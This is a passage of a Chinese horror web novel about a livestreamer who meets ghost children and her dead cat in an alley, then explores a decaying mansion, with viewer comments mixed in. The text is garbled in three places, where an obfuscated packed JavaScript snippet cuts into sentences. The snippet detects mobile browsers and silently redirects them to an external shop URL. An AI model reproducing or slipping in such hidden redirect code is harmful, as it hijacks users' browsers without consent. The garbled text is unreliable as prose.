确实有脚步声。 哒、哒、哒…… 是那种小皮鞋，蹦蹦跳跳的，轻快的声音。 季融猛地回头，身后什么也没有，放眼望去，只有乱七八糟的垃圾袋。 她转回去，才走两步，那脚步声又出现了。 哒哒哒…… 这次更快了，还有别的声音，似乎不止一双鞋。 嘻嘻。 嘘—— 她再回头。 身后依旧空荡荡的，什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882940|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。 漆黑的巷子里，冷风从两端灌入，呼啸而过，黑色塑料袋被吹出嘶啦嘶啦的声响，随着这阵风，似乎黑暗里的所有影子，都在扭曲地摇曳起来。 季融继续往前走，哒哒、哒哒…… 她走快些，那声音也跟着她走快些，她走慢些，那些声音也跟着她走慢些，如影随形，可季融知道没有那么简单。 因为她清楚地感觉到，那些脚步声离她越来越近了。 背后好像贴着一块冰块，冷气和潮湿的水汽向自己直逼而来，几乎要贴住她的背，又仿佛有一直冰冷粘腻的手，在她身后来回抚触。 季融起了一身鸡皮疙瘩，她走了几步，听着身后的脚步声，时有时无若隐若现的嬉笑声，然后趁一个“它们”最欢快的时间，再次回过头。 她这次回头又突兀又快，没有给任何人准备。 听见“呀”的一声。 漆黑的身后，迅速闪过几张面无血色的脸，有好几个，漆黑幽暗的瞳仁死死盯住季融，似乎有些惊慌，但马上又怨毒地瞪了她一眼，然后再度消失。 不止“它们”被吓到，季融也被吓得够呛，那分明是几张小孩子的脸，可头颅之下……“它们”没有身体，脖子血肉模糊，伤口狰狞，像是被生生扯断的。 季融想要弄明白，或许只有这样，才能真的解决这个邪祟。 她沉思片刻，对网友们说：“这些‘好朋友’们，看起来似乎想跟我玩一二三木头人的游戏，你们看，只要我回头，他们就会消失，但如果我继续走，他们就会离我越来越近，最后的结局，或许只有两种，要么他们被我抓住，要么，我死。” “怎么样，要来玩一下吗？”季融对着黑暗中那些看不见的家伙们问。 但她也只是问问，很显然，游戏根本不经她的同意，就已经擅自开始。 鬼才不跟你讲道理。 季融又走了几步，突然回头！ “一二三木头人！” 一只小小青灰色的手，还差一厘米就要碰到她的衣服，眼看着这只手又要消失，季融眼疾手快，死死捏住“它”的手腕。 “抓住了！抓住一个！想跑？又要耍赖？” 真的只有一只手，被从小臂处折断，有极其可怕的紫色淤青。 那只手僵硬冰冷，握在手里带来恐怖的死人才有的触感，季融险些就想尖叫着扔掉。 但她咬了咬牙，忍住了。 那只手挣扎了一下，挣扎不开，然后蓦地像被扎破的气球，软塌塌的任她摆布。 嗨呀！ 黑暗中传来小孩子生气的叹气声。 怎么那么没用！ 笨蛋！ 蠢猪！ 呜呜呜！ 季融继续，有了第一次经验，后面就更容易了，她现在已经完全确定，这些家伙只有小孩子的智商，再怎么鬼机灵躲得很好，只要骗几下，就会露出马脚。 “一二三木头——” 最后一个字故意没有落下，身后的脚步声却被吓得凌乱不堪，踢踢踏踏一阵，发现她在耍“它们”，怒气冲冲地想要冲上来报仇，这次一定要把这个坏大人抓住！ 喵呜！ 一双手臂飞起来，一张张着利齿的嘴巴冲过去，一双带着黄色小花的红皮鞋眼看就要踩到她的后脚跟—— 季融唇角微微挑起，嘴唇微启：“……人！” 骤然回头，张开手臂一揽，手臂、嘴巴、小皮鞋……从上往下，从左往右，两只手全部抓住！ “不好意思，你们输咯。” 15. 015 吱吱喳喳！ 老鼠被吓了一跳，四处逃窜，惊声尖叫。 一双血红的眼睛委屈又生气地瞪着季融，过了好半晌，脆生生的嗓音才心不甘情不愿的——“坏大人！我允许你跟我们一起玩了！” 下一瞬，那些残肢断臂瞬间消失。 “丢手绢、丢手绢……” “轻轻的放在……小朋友的后面……” “小朋友的后面……” “大家不要告诉他……” 小女孩清脆中又带着点尖锐的突然响起，漆黑的巷子里，几乎伸手不见五指，这歌声像一把冰冷的尖刀，突兀地扎进季融的耳朵里。 季融猛地打了个一个寒颤。 她缓缓抬起手电筒，顺着声音的方向望去。 只见在靠墙的一角，几个小小的漆黑的人影围成一个小圈，它们拍着手，蹦蹦跳跳地玩游戏。 轮到谁了，谁就跑，两个小朋友你追我赶，咯咯的笑声在黑暗中荡漾。 季融摸了摸她的□□头套，小心翼翼走过去，然后突然冒出来，“哇”的一声大叫！ “喂！吓到没有！” 歌声停顿了一瞬，然后又重新唱了起来，但是憋着笑，另外几个小朋友看了她，黑色的影子哈哈大笑地围过来。 “姐姐、姐姐，你好傻哦！” “青蛙是益虫哦，才不可怕呢！老师要我们保护小动物的！” “喂你傻掉啦！这个是□□！才不是青蛙呢！”一个小朋友对另一个小朋友说，“癞蛤蟆是要吃天鹅肉的，是坏家伙！” 冰冷的气息几乎将季融包裹住，她是看不到小朋友的模样的，只能看见一个个漆黑的、矮矮的影子，快快乐乐地围在她的周围，只有偶尔能看见他们身体的一部分。 比如只有一双手啦、一条腿啦、一个脑袋啦、一颗眼珠子啦…… 这样看上去就好像是残缺的四肢漂浮在半空中。 唱歌的小妹妹就是那个穿着有黄色小花红皮鞋的，此时高高站在一个黑色塑料袋上，一边唱歌一边跟着节拍轻轻跺脚。 “方灵羽！你不要再唱啦！快点下来和我们一起玩吗！”小朋友叫她。 方灵羽小朋友生气地用力跺脚，“哎呀！你不要烦我嘛！我还要练习呢！过几天就要比赛了，我答应过爸爸妈妈的，这次要是拿了第一，他们给我看全集的‘魔卡少女’呢！哎，跟你们说了也不懂！” “好吧……切，不管她！姐姐姐姐，你是知道那个家伙很丑，所以才要把□□送给那个怪家伙吗？” 现在的小孩可精了，才不会看不出来季融是个戴了头套的女孩子。 季融却留意到他们话里的怪家伙，她点点头：“是呀，是要送给怪家伙，但是他真的很丑吗？” “嗯！很丑很丑！”那个只有手臂的小朋友夸张地比了一个手势，“他只有一只眼睛，嘴巴还很大，对了对了，他的脸上还有一块好黑好黑的东西，哎呀！” “啊！不要说了不要说了！好可怕！” “他是个骗子！是个坏蛋！小怪物找大怪物！说着要让我们做他的好朋友，却把我们骗去给大怪物！” “大怪物、大怪物……啊啊啊！不要！不要大怪物！好害怕！大怪物好可怕！我要回家！我要回家！我要找妈妈！我要找爸爸！” “呜呜呜……大怪物会吃小朋友，放我回家，我会听话，一定不睡懒觉！” “好疼好疼好疼呀！大怪物不要吃我！” “他们还吃小动物！啊啊啊猫猫狗狗都被吃掉了！” “都怪你，要不是你的眼睛太漂亮就不会被吃掉了！” “明明是你！明明是你！是你先被抓住了！大怪物说你的手好看，要吃掉你的手！” “啊啊啊啊！！！” 小朋友们突然就崩溃了，尖叫着四处逃窜，只有那个唱歌的小女孩，依旧站在垃圾袋上，轻轻踢踏着皮鞋，颤抖着唱着歌。 “丢手绢、丢手绢……轻轻地放在……小朋友的后面……” 滴答。 有什么落下来。 是血珠子，季融抬头看，小女孩双手抵在胸口，比出爱心的姿势，死灰色的面庞上带着僵硬的微笑，眼眶里却源源不断地流下血色的眼泪。 季融心里难受不行，她走过去，下一瞬，小女孩却消失了。 嘶啦…… 塑料袋发出刺耳的声响，有什么东西在里面蠕动。 然后哗啦一下，黑色塑料袋破开，里面竟然冒出来一双诡异的绿色眼睛！ 季融吓了一跳，手电筒下意识照过去。 “一只猫？” 此时，网友被吓得够呛，评论飞速闪过，甚至一度出现卡顿的现象。 【41度高温我真的会绝晶：……老天爷，还没等到41度高温，我觉得我的小蝌蚪现在就不行了，大半夜在主播的直播间我真的会断子绝孙。】 【粥婕纶：先是小孩鬼，接着又跳出一只猫？心脏不好真的不要看。】 【无与伦比的爱：什么意思？他们说的什么大怪物小怪物？我靠，这些孩子……好像暴露了什么恐怖的信息。】 【正直大叔：主播快去看看，这个地方我刚才查了一下，最近发生儿童失踪案，这个时候我觉得差不多该报警了。】 【静待花开：别说了，那些孩子现在看明显就是没有了，他们的父母得多伤心啊。】 【如来不如来：我现在真的，又害怕又觉得难受，呜呜呜，方灵羽小朋友，我宣布你就是第一名！你唱歌超级超级好听的！】 【释怀：主播真的猛，不过大晚上遇到黑猫，到底算好还是坏？】 【富婆重金求子打赏主播跑车X1】 【富婆重金求子打赏主播跑车X1】 【富婆重金求子打赏主播跑车X1】 【正直大叔打赏主播钻戒X3】 【如来不如来打赏主播蛋糕X10】 网友们陆陆续续开始打赏，这一次，直播打赏的人明显多了起来。 季融短暂开心了一会儿，目光便落在那只猫身上。 没错，那是一只黑猫。 皮毛光滑亮丽，即便在黑暗中，也能看出来它神采奕奕，格外漂亮。 “阿猫？”季融小心翼翼地求证着。 似乎是回应，黑猫抬起爪爪，舔了舔自己的毛，冲她轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882941|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻地“喵”了一声。 季融是认识它的，她走过去，黑猫不闪也不躲，在季融伸手去摸它的时候，还微微抬着头，舒服地眯起眼睛。 可马上季融愣住了，她的手穿过了猫咪的身体，分明能看见它，感受它的存在，却只觉得凉凉的，就那样穿过了冰冷的空气。 阿猫死了。 阿猫生母不详，是街上的流浪猫，后来被季家所喂养，很亲人，从它还只有巴掌那么大的时候，季家就在喂养它了。 冬天会为它搭建屋子，夏天会为它搭建凉棚。 要不是它喜欢自由，季家的院子关不住它，矫健的身姿总能轻轻跃起，跳到围墙的那棵树木上，跑到外面的天地去，它会成为季家的家人。 阿猫也很有灵性，兴许知道是半个家人，去外面交了朋友总会带回来，好像要告诉别的猫猫，看看，他们家的饭特别好吃哦，你们也来尝尝嘛！ 季延得意死了，他可是个好厨子，能不好吃嘛！ 又抱着阿猫一顿撸。 阿猫推了几下推不开，懒洋洋地窝在季延的怀里，无奈地眯着一对绿宝石般的眼睛，任季景宁和季融扑过来，对它上下其手。 但它是一只热爱自由的小猫，时不时就要浪迹天涯好几天，在街头巷尾争夺地盘，似乎要成为这里最厉害的猫。 它失踪的时候季家人也没有多想。 季融怎么会想到，会在这里看到阿猫呢？ 它有温暖的窝和好吃的饭，受伤了也会有乌静梅带去治，本应该寿终正寝，再差，也是在争夺地盘中，成为战死的王，夺得它该有的荣耀。 而不是在这里、在这里…… 死于非命！ 季融一眼就看见了，在黑色朔料袋后面，还有一个烂掉的，正在发臭的袋子，里面冒出来许多还带着血丝的白骨，有细的，有粗的，有猫的，有狗的…… 甚至，还有各种孩子染血的衣服。 那双带着黄色小花的红皮鞋，正静静躺在那里。 季融脸色一变，猛地站起来双手撑住墙壁，胃酸翻涌，吐得昏天暗地。 “呕——！” 季融脸色铁青，阿猫在她脚边轻轻蹭着她的腿，“喵呜。” 【没事啦。】 等到季融好起来，阿猫突然一跃跳开，朝着巷子另一端轻盈地跑去，见季融没有跟上来，又突然停下：“喵？” 季融连忙追上去，这条巷子很长，尽头那盏灯相当突兀，在漆黑的夜色里亮得刺眼。 眼看就要走出去了，阿猫突然消失不见了，季融心里一急，觉得□□头套碍事，将头套摘了下来，也就是在这瞬间，嘎吱一声，前面传来开门声。 季融定眼一看，巷子尽头是一条马路，只不过这条马路年久失修破破烂烂，看起来已经很久没有人来过了，而马路的另一端……一栋陈旧的红砖小洋楼出现在季融眼前。 阴冷的月光下，这栋小洋楼看起来破旧且阴森，半脱不落的墙皮如同被撕裂的伤口，狰狞地袒露出里面灰色的皮肉。 钢铁的大门开着，里头一片漆黑。 底下是长满青苔的台阶，阿猫正趴在那里，静静地等待着季融。 16. 016 季融心里隐隐约约升起一股不安。 但来都来了。 她还想把阿猫带回家呢。 季融抬起手机，“你们看，这栋老房子是不是看起来感觉有点可怕？不知道里面有没有人住？不过，它虽然看起来有些破旧，但在这个地方，依旧算得上富丽堂皇，毕竟在很多年前，如果没有钱的话，可建不了这种房子。” 她猜测这栋房子的主人应该是什么有钱人。 季融看看左边，又看看右边，这里竟然是个死胡同，那条马路两边竟然是不通的，就相当于一个十字路口，两边封路，唯一的出路就是那条巷子，而巷子的尽头，就是这栋小洋楼。 “看起来这一片地方都是他们家的。”季融调整镜头，让网友们都能看清楚。 虽说她是南城本地人，家距离这边也不远，但这个地方也实在是太过偏门了，连她自己都惊讶，居然还有她不知道的地方。 网友们被她说得毛毛的，就在这时，一个熟悉的ID出现了。 【叫我大帅哥：哈喽，大家冷静点，这个地方我知道。】 说话的人是孔芳华，他在嘎嘎直播也属于老主播了，虽然人气不算特别大，但直播勤奋频繁，个性也爽朗大方，倒是积累了一批固定粉丝。 季融刚开播，孔芳华就就带了一批小伙伴过来支持她，这会儿孔芳华一冒泡，倒是炸出了一堆潜水的粉丝。 【温暖的雨：嘿，我喜欢的两个主播联动咯。】 【汪汪队超人：不愧是大帅哥，我看这世界上就没你不知道的八卦吧，快说说咋回事，这楼一看就风水不好，瘆人得不行。】 【看不到的高空：要是特别危险，就赶紧让咱融融撤退，生命要紧。】 孔芳华在电脑屏幕前轻咳一声，刚想说话，突然意识到自己这会儿不是再直播，尴尬地挠挠脸，这才敲起键盘来。 【叫我大帅哥：这屋啊，大伙儿一看就应该知道，有些年头了，真追溯起来，没准还能追到建国初期，当然啊，这房子一开始也不是长这样，人家家里有钱着呢，随着时间流逝，还是修过的……】 【叫我大帅哥：只不过再怎么修，也是敌不过岁月，就像他们这个家族。】 【赵美丽：哎哟大帅哥你可别废话了！直接点直接点！】 【叫我大帅哥：嘿，好吧，简单的说就是他们这家族啊，以前也人丁旺盛过，个个都有大本事，但盛极而衰吧，反正就我的感觉就是，他们家的人基因不好，听说以前可多族内通婚的，生了不少怪胎。】 【举头望明月：我去，乱lun？这可不兴乱搞啊，容易生病啊。】 【叫我大帅哥：没错，就是这样，反正呢，他们这个家族的人走的走散的散死的死，可曾经那么庞大的一个家族，有钱得很啊，偏偏呢，他们家最后一代……只有一个人，一个女孩。】 【叫我大帅哥：哦，算算时间这时候也四十来岁了吧，这个女人呢，其实也可怜，除了有钱，她算是继承了这个家族的所有恶果，长得丑啊，那是长得非常丑，怎么丑我不知道，我也是听说的，而且，听说她精神还不正常。】 【富婆看看我：然后呢然后呢？丑又怎么样，精神不正常又怎么样！那么有钱啊！你们看我还有机会吗？】 【富婆重金求子：？】 【叫我大帅哥：……年轻人，急功近利不好。不过像你这样的人很多，当时有个年轻人啊，就是这样，他跑到女人面前，什么招数都使了，那张嘴像沾了蜜，什么好话都要说。那女人可不是个正常的，大冬天要他跪在地上扇自己巴掌，他脱光衣服就扇，要他学猪叫，一路叫着爬到她面前，他也叫，他越惨，女人就笑得越开心，反正就是两个神经病。】 【叫我大帅哥：终于有一天，他打动了这个有着无数家产的女人，两人在亲戚的见证下结了婚。】 【豆奶姐：我靠，你们男人真是有够没节操的。】 【正直大叔：不代表所有男人。】 【补课自愿签名：男的出轨了吧？】 【叫我大帅哥：出轨？他没有。】 【叫我大帅哥：呵，守着金山银山，他当然没傻到要出轨，开始的时候，倒也没发生什么特别的，男人还是甜言蜜语，好得跟真心似的。】 【旺财：狠人。】 【叫我大帅哥：但也没狠多久，很快他就受不了了，他天天对着女人那张脸，慢慢的，甜言蜜语说不出口了，脸上的好脸色也维持不住了，他开始变得沉默寡言，可这时候他们竟然生了个孩子。】 【叫我大帅哥：你们以为接下来是好事了？这货看着自己亲生儿子和女人长得像，有一天夜里，他竟然在女人床上吐了出来，吐了也就算了，他居然，宁愿从楼上跳下去，也要慌忙逃跑。】 【叫我大帅哥：这事发生的时候附近的人都知道，男人疯了一样，一边跑一边大喊，这钱我不赚啦！这钱我不赚啦！再这样我就要死！他一路大喊，所有人都知道了他们那点事。】 【富婆看看我：……矫情，这点苦都受不了，骗就骗一世啊，跳下来没摔断他的腿算他好的！】 季融看着“富婆看看我”这个ID，沉默半晌，忍不住说：“你也是个狠人。” 顿了顿，她问孔芳华：“那个孩子后来呢？” 【叫我大帅哥：啊，我知道的都说完了，那孩子后面的事我不太清楚，就是知道也丑，不过也活了几年吧，毕竟他们家有钱。】 “也就是说，他死了？” 季融微微皱起眉，她蹲下来，轻轻摸着阿猫的脑袋，尽管她什么都没有摸到，阿猫还是亲人地蹭着她的掌心。 “乖乖，你在这里等着，我带你回家。” 然后她又笑了：“如果我回不去，就在这里陪你，好吗？” 阿猫疑惑地歪了歪脑袋，“喵？” 一股怪异的味道从门缝里飘出来，季融走进去，小洋楼一共三层，里头没有灯，入眼便是一片黑暗，似乎连手电筒的光也被什么一层灰色的薄膜笼罩。 季融在一楼晃荡一圈，客厅、厨房、货物房…… 里头的摆设半中半洋，水晶吊灯之下是红木茶几，灰尘长期无人打理，厚重的天鹅绒窗帘沉默垂落，底下的流苏已经勾丝，一旁的青瓷花瓶上插着凋谢枯萎的褐色玫瑰，似乎被季融的来访惊动，玫瑰微颤，花瓣掉落。 季融始终觉得这里头的怪味很重。 像是尘土、又像是家具腐朽的味道，亦有可能是各种味道混杂。 但更多的，还有一股…… “腐臭味？” “像放久的肉块，发霉，烂掉。” 想到那些孩子的惨状，季融的脸色很糟糕，心里狠狠地暗骂几具，这才跟网友说：“我们到楼上去看看。” 但古怪的是，她看了二楼、三楼……从书房到卧室到次卧，根本就没有看到别的人，更没有发现什么古怪。 整间屋子，似乎除了旧一点，没有任何问题。 只有那股味道、那股味道…… 季融心里直犯嘀咕，那味道如影随形，简直像跟着自己一样。 等等！ 跟着自己？！ 季融身体一僵，有点头皮发麻。 那股臭味离她很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882942|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近，近到令她无法忽略。 这时，几条评论吸引了她的注意。 【叫我007：话说，那里丢了那么多小孩，警察不可能不会地毯式搜索吗？主播，这里会不会其实没有什么问题啊。】 【金锁格格：虽然但是，这地方那么隐秘，没搜到也很正常啊，当地的传言都是有拐子，谁会想到孩子们都被杀掉了啊，附近都是垃圾堆，而且他们连尸体都没怎么留下哎。】 【嘿嘿：嘿嘿……有没有可能，不是没搜，也不是没有问题，而是……在他们过来搜查的时候，被什么捂住了眼睛呢？】 【41度高温我真的会绝晶：我靠，细思极恐，主播你没事吧？】 季融：…… 有事，实在是太有事了。 “不好意思网友们，今天实在太晚了，我补个妆哦。”季融歪着脑袋夹住手电筒，然后把自己的背包取下来，一顿乱翻，终于从里面翻出一面又亮又大的镜子。 网友有点懵，评论区冒出问号，不是，主播你连脸都没露，还需要补妆？ 季融不想说话，因为她现在心情很糟。 差得要死。 就在刚才，她把背包取下来的时候，突然发现自己的包很沉。 背在身上的时候不觉得，毕竟她包里的东西本来就多，可提在手里的时候就很快发现了问题。 太沉了，超出了它本来的重量。 而这重量只在她手上持续了一瞬，又立马消失了，似乎就在那一瞬间转移到了别人身上。 至于转移到谁身上？ 季融感觉自己后背沉甸甸的，她深深吸了一口气，结果吸到一口臭气。 她真是服了。 “……” 季融面无表情地把镜子拿起来：“我倒要看看我这个小可爱长什么样。” 昏暗光线下，季融面色白得发青，幽黑的眼珠子缓缓转动，然后她看见镜子里的自己……双眼被覆上一双肮脏的、油腻的、半透明的手。 镜子变换角度，她的肩膀上亦挂着两条孩子的腿。 再往上，一个孩子坐在了她脖子上。 它长得实在不像一个人。 这或许是个男孩，他长了一张兔嘴，灰紫色的嘴唇从中间向上裂开，爆出的牙齿高高顶起，这使得他的下半张脸仿佛变异般，下巴尖削，比起兔子，更像巨型老鼠长在了人脸上。 可他的上半张脸亦十分古怪。 皮肤凹凸不平坎坷嶙峋，如同密密的黑色蛇鳞一路蔓延，他一只眼睛已经没有了，萎缩得只剩一条黑色的细缝，另一只眼睛却很大，几乎占据了那半张脸的半数空间。 似乎是察觉到了季融的古怪，它弯下腰，缓缓低下头，黑魆魆的眼睛探究地看向季融……也就在那一瞬间，冰冷淡漠的眼睛看向了镜子，与镜子里的季融，四目相对。 “喵！” 阿猫突然从天而降，一跃跳到季融的肩上，冲着虚空的一处呲牙咧嘴，浑身黑毛炸起，像朵膨胀的蒲公英，又像暴怒的勇者，蓄势待发，随时英勇上阵。 季融猛地清醒过来，不行，阿猫都那么勇敢，她不能输！ 她迅速往包里一掏，竟然掏出一把锋利白亮的大菜刀！ 然后冲着阿猫咆哮的方向扑过去，手起刀落，冲着空气狠狠砍了一刀。 只觉得刀锋划过什么软绵的东西，嘶啦一声—— 周围环境又暗了许多。 季融抬眼一看，忍不住暗骂一声。 什么二楼三楼……她就根本没离开过一楼进门这个客厅，由始自终，都被恶鬼遮眼，迷了心智。